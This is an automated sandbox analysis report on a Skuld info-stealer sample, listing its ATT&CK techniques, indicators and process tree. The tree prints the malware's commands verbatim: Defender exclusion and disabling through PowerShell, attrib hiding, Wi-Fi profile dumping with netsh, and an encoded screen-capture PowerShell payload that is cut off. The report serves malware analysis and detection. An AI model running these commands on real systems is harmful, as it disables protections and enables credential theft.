skuld | c5d975563c21d102be8bca9e2dec88b1d1cbdae0c2a99f736f28f00c0a4c96a8

Analysis

max time kernel
91s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
18-02-2025 23:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
Size

10.3MB
MD5

1d3eb4616e3f66a7a0c20b0f549ac87f
SHA1

6a3bb960339b14f6acefc9cac104e47e46f80aba
SHA256

c5d975563c21d102be8bca9e2dec88b1d1cbdae0c2a99f736f28f00c0a4c96a8
SHA512

73a4a61182cd14394db408d0710c75251cf7d7a77a22f5a5c7ce7f6f7ca50739c079994bcd6546c01dab6ab5a9508dde9a292226c6166649fc5372f9ca57e307
SSDEEP

98304:7YHRMWEBuplfBZ2FFl1m7MNNEdrJ9pVTE+6j:7CMWEEpl6Fl1m7M4za+6j

Score

10^/10

skuld credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Skuld family
skuld
Skuld stealer
An info stealer written in Go lang.
stealer skuld

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2188	powershell.exe
4404	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1608	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4300	wmic.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	5	Go-http-client/1.1

Modifies system certificate store 2 TTPs 3 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
4404	powershell.exe
4404	powershell.exe
2188	powershell.exe
2188	powershell.exe
740	powershell.exe
740	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
Token: SeDebugPrivilege	4404	powershell.exe
Token: SeIncreaseQuotaPrivilege	3560	wmic.exe
Token: SeSecurityPrivilege	3560	wmic.exe
Token: SeTakeOwnershipPrivilege	3560	wmic.exe
Token: SeLoadDriverPrivilege	3560	wmic.exe
Token: SeSystemProfilePrivilege	3560	wmic.exe
Token: SeSystemtimePrivilege	3560	wmic.exe
Token: SeProfSingleProcessPrivilege	3560	wmic.exe
Token: SeIncBasePriorityPrivilege	3560	wmic.exe
Token: SeCreatePagefilePrivilege	3560	wmic.exe
Token: SeBackupPrivilege	3560	wmic.exe
Token: SeRestorePrivilege	3560	wmic.exe
Token: SeShutdownPrivilege	3560	wmic.exe
Token: SeDebugPrivilege	3560	wmic.exe
Token: SeSystemEnvironmentPrivilege	3560	wmic.exe
Token: SeRemoteShutdownPrivilege	3560	wmic.exe
Token: SeUndockPrivilege	3560	wmic.exe
Token: SeManageVolumePrivilege	3560	wmic.exe
Token: 33	3560	wmic.exe
Token: 34	3560	wmic.exe
Token: 35	3560	wmic.exe
Token: 36	3560	wmic.exe
Token: SeIncreaseQuotaPrivilege	3560	wmic.exe
Token: SeSecurityPrivilege	3560	wmic.exe
Token: SeTakeOwnershipPrivilege	3560	wmic.exe
Token: SeLoadDriverPrivilege	3560	wmic.exe
Token: SeSystemProfilePrivilege	3560	wmic.exe
Token: SeSystemtimePrivilege	3560	wmic.exe
Token: SeProfSingleProcessPrivilege	3560	wmic.exe
Token: SeIncBasePriorityPrivilege	3560	wmic.exe
Token: SeCreatePagefilePrivilege	3560	wmic.exe
Token: SeBackupPrivilege	3560	wmic.exe
Token: SeRestorePrivilege	3560	wmic.exe
Token: SeShutdownPrivilege	3560	wmic.exe
Token: SeDebugPrivilege	3560	wmic.exe
Token: SeSystemEnvironmentPrivilege	3560	wmic.exe
Token: SeRemoteShutdownPrivilege	3560	wmic.exe
Token: SeUndockPrivilege	3560	wmic.exe
Token: SeManageVolumePrivilege	3560	wmic.exe
Token: 33	3560	wmic.exe
Token: 34	3560	wmic.exe
Token: 35	3560	wmic.exe
Token: 36	3560	wmic.exe
Token: SeIncreaseQuotaPrivilege	4356	wmic.exe
Token: SeSecurityPrivilege	4356	wmic.exe
Token: SeTakeOwnershipPrivilege	4356	wmic.exe
Token: SeLoadDriverPrivilege	4356	wmic.exe
Token: SeSystemProfilePrivilege	4356	wmic.exe
Token: SeSystemtimePrivilege	4356	wmic.exe
Token: SeProfSingleProcessPrivilege	4356	wmic.exe
Token: SeIncBasePriorityPrivilege	4356	wmic.exe
Token: SeCreatePagefilePrivilege	4356	wmic.exe
Token: SeBackupPrivilege	4356	wmic.exe
Token: SeRestorePrivilege	4356	wmic.exe
Token: SeShutdownPrivilege	4356	wmic.exe
Token: SeDebugPrivilege	4356	wmic.exe
Token: SeSystemEnvironmentPrivilege	4356	wmic.exe
Token: SeRemoteShutdownPrivilege	4356	wmic.exe
Token: SeUndockPrivilege	4356	wmic.exe
Token: SeManageVolumePrivilege	4356	wmic.exe
Token: 33	4356	wmic.exe
Token: 34	4356	wmic.exe
Token: 35	4356	wmic.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1532 wrote to memory of 2036	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	88
PID 1532 wrote to memory of 2036	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	88
PID 1532 wrote to memory of 4404	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	89
PID 1532 wrote to memory of 4404	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	89
PID 1532 wrote to memory of 3560	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	90
PID 1532 wrote to memory of 3560	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	90
PID 1532 wrote to memory of 4636	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	91
PID 1532 wrote to memory of 4636	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	91
PID 1532 wrote to memory of 2188	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	93
PID 1532 wrote to memory of 2188	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	93
PID 1532 wrote to memory of 4356	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	94
PID 1532 wrote to memory of 4356	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	94
PID 1532 wrote to memory of 4300	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	95
PID 1532 wrote to memory of 4300	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	95
PID 1532 wrote to memory of 4016	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	97
PID 1532 wrote to memory of 4016	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	97
PID 1532 wrote to memory of 2516	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	98
PID 1532 wrote to memory of 2516	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	98
PID 1532 wrote to memory of 212	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	99
PID 1532 wrote to memory of 212	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	99
PID 1532 wrote to memory of 1608	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	100
PID 1532 wrote to memory of 1608	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	100
PID 1532 wrote to memory of 740	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	101
PID 1532 wrote to memory of 740	1532	2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe	101
PID 740 wrote to memory of 1424	740	powershell.exe	102
PID 740 wrote to memory of 1424	740	powershell.exe	102
PID 1424 wrote to memory of 4508	1424	csc.exe	103
PID 1424 wrote to memory of 4508	1424	csc.exe	103

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
212	attrib.exe
2036	attrib.exe
4636	attrib.exe
4016	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1532
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
  2⤵
  - Views/modifies file attributes
  PID:2036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2025-02-18_1d3eb4616e3f66a7a0c20b0f549ac87f_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4404
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3560
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:4636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2188
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4356
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4300
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:4016
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:2516
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:212
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG